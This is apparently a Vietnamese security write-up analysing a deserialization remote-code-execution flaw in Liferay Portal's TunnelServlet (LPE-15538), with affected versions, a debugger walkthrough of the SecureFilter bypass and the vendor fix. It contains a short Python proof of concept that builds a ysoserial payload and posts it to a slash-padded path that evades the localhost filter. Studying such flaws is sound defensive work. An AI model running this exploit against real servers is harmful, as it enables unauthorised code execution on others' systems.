Contents

Liferay TunnelServlet Deserialization Remote Code Execution (LPE-15538)

Contents

Liferay TunnelServlet Deserialization Remote Code Execution (LPE-15538)

{{ .Resources.Match “images/*”}}

  1. Mô tả và ảnh hưởng

    Liferay TunnelServlet bị lỗ hổng insecure deserialization do cấu hình sai, có thể bị truy cập bởi attacker (theo mặc định, nó chỉ bị giới hạn truy cập từ localhost). Tùy thuộc vào phiên bản của Liferay Portal, attacker có thể khai thác lỗ hổng này bằng cách sử dụng dữ liệu đã được serialized để thực thi mã tùy ý trên hệ thống.

    Các phiên bản ảnh hưởng:

    • Liferay Portal CE 7.0 GA3, 7.0.1 GA2, 7.0.2 GA3
    • Liferay Portal EE 6.0, 6.0 SP1, 6.0 SP2, 6.1 GA1, 6.1 GA2, 6.1 GA3, 6.2
    • Liferay Digital Enterprise 7.0
  2. Chuẩn bị môi trường

    Cài đặt phiên bản ảnh hưởng: https://sourceforge.net/projects/lportal/files/Liferay%20Portal/6.1.0%20GA1/liferay-portal-tomcat-6.1.0-ce-ga1-20120106155615760.zip/download

    Giải nén và chạy file ..\liferay-portal-6.1.0-ce-ga1\tomcat-7.0.23\bin\startup.bat để khởi chạy server.

    /posts/liferay/Untitled.png

  3. Demo khai thác

    Payload:

    import requests, os
    
    url = "http://192.168.1.84:8080"
    
    os.system("java \
    --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED\
    --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED\
    --add-opens=java.base/sun.reflect.annotation=ALL-UNNAMED\
    -jar ./ysoserial-all.jar CommonsCollections3 calc.exe > payload.bin ")
    
    r = requests.post(url + "/api/////liferay", data= open("payload.bin", "rb"))
    

    /posts/liferay/Untitled-1.png

  4. Phân tích lỗ hổng

Tại file ..\tomcat-7.0.23\webapps\ROOT\WEB-INF\web.xml, ta biết được các request đến /api/liferay/* sẽ được class Tunnel Servlet xử lí.

/posts/liferay/Untitled-2.png

/posts/liferay/Untitled-3.png

Đi vào class Tunnel Servlet.

Tại đây, phương thức doPost dùng để xử lý POST request, TunnelServlet nhận ObjectInputStream từ Post data (dòng 40) và sử dụng hàm readObject() (dòng 52) không đúng cách → Insecure deserialization.

/posts/liferay/Untitled-4.png

Tuy nhiên, các đường dẫn /api/liferay/* mặc định chỉ được truy cập bởi localhost, mọi request từ bên ngoài đều bị filter. Cụ thể, khi truy cập /api/liferay/* thì Tunnel Servlet Filter được sử dụng.

/posts/liferay/Untitled-5.png

Nó được định nghĩa tại class com.liferay.portal.servlet.filters.secure.SecureFilter

/posts/liferay/Untitled-6.png

Tại class SecureFilter, hàm processFilter được gọi để thực hiện các quy trình filter. Trong đó có chức năng kiểm tra xem Remote Address có nằm trong whitelist các Allowed host được access hay không bằng hàm isAccessAllowed(). Nếu không thì sẽ bị trả 403 Access denied. Đặt breakpoint như hình và debug.

/posts/liferay/Untitled-7.png

Đặt Breakepoint tại dòng 86 và gửi gón tin POST tới

/posts/liferay/Untitled-8.png

Hit breakpoint

/posts/liferay/Untitled-9.png

F7 để đi vào hàm isAccessAllowed().

/posts/liferay/Untitled-10.png

Tại đây, ứng dụng sẽ kiểm tra xem remoteAddr (192.168.1.84) có nằm trong mảng whitelist ({SERVER_IP, 127.0.0.1}) hostAllowed hay không → nó không thuộc whitelist → Access denied.

Tuy nhiên, để bypass filter này ta chỉ cần thêm n dấu / vào path /api/liferay/api/////liferay

/posts/liferay/Untitled-11.png

Khi truy cập endpoint /api/liferay, đầu tiên request sẽ được filter thông qua hàm doFilter() của InvokerFilter class. Sau đó các InvokerFilterChain về urlPattern: /api/liferay/* được lấy để thực hiện filter request. Có thể thấy với /api/liferay thì có đi qua SecureFilter.

/posts/liferay/Untitled-12.png

Còn /api////////liferay thì không:

/posts/liferay/Untitled-13.png

Nguyên nhân nằm ở nơi lấy InvokerFilterChain

/posts/liferay/Untitled-14.png

Tại đây phương thức getInvokerFilter()  được gọi để thiết lập filterChain cho url, với các tham số truyền vào là request hiện tại, uri (/api/////liferay) và filterchain

Đi vào phương thức getInvokerFilterChain()

/posts/liferay/Untitled-15.png

Phương thức sẽ lấy filterChain từ 1 list có trước (_filterChains), với key chính là hashcode của uri truyền vào. Trong trường hợp truyền vào /api////////liferay thì sẽ tạo ra 1 hashcode khác, không tồn tại trong _filterChains, khi đó invokerFilterChain == null và sẽ nhảy tiếp vào phương thức _invokerFilterHelper.createInvokerFilterChain() để tạo ra 1 object filterChain mới.

Đi vào phương thức createInvokerFilterChain()

/posts/liferay/Untitled-16.png

Phương thức sẽ check match của uri truyền vào với các filterMap đã có sẵn.

Chức năng của phương thức isMatch()là check xem uri truyền vào có giống với pattern của rule không, nếu có thì sẽ trả về true và add filter này vào list.

/posts/liferay/Untitled-17.png

Bởi vì giá trị trả về của isMatchURLPattern là false nên filter này sẽ không được add vào invokerFilterChain

Untitled-22.png

Có thể nhìn thấy được uri truyền vào và urlpattern không match do matchURLPattern trả về false

/posts/liferay/Untitled-18.png

SecureFilter không được add vào với request là /api/////////liferay

SecureFilter không được invoke nên bị bypass

  1. Sửa lỗi của NPH.

Liferay đã thêm một hàm ProtectedClassLoaderObjectInputStream() để filter những authenticated access, và userInputStream.

/posts/liferay/Untitled-19.png

Tại các phiên bản sau, sau khi lấy URI bằng hàm getURI() tại class InvokerFilter Liferay đã thực hiện normalize lại nó bằng hàm HttpComponentsUtil.normalizePath()

/posts/liferay/Untitled-20.png

/posts/liferay/Untitled-21.png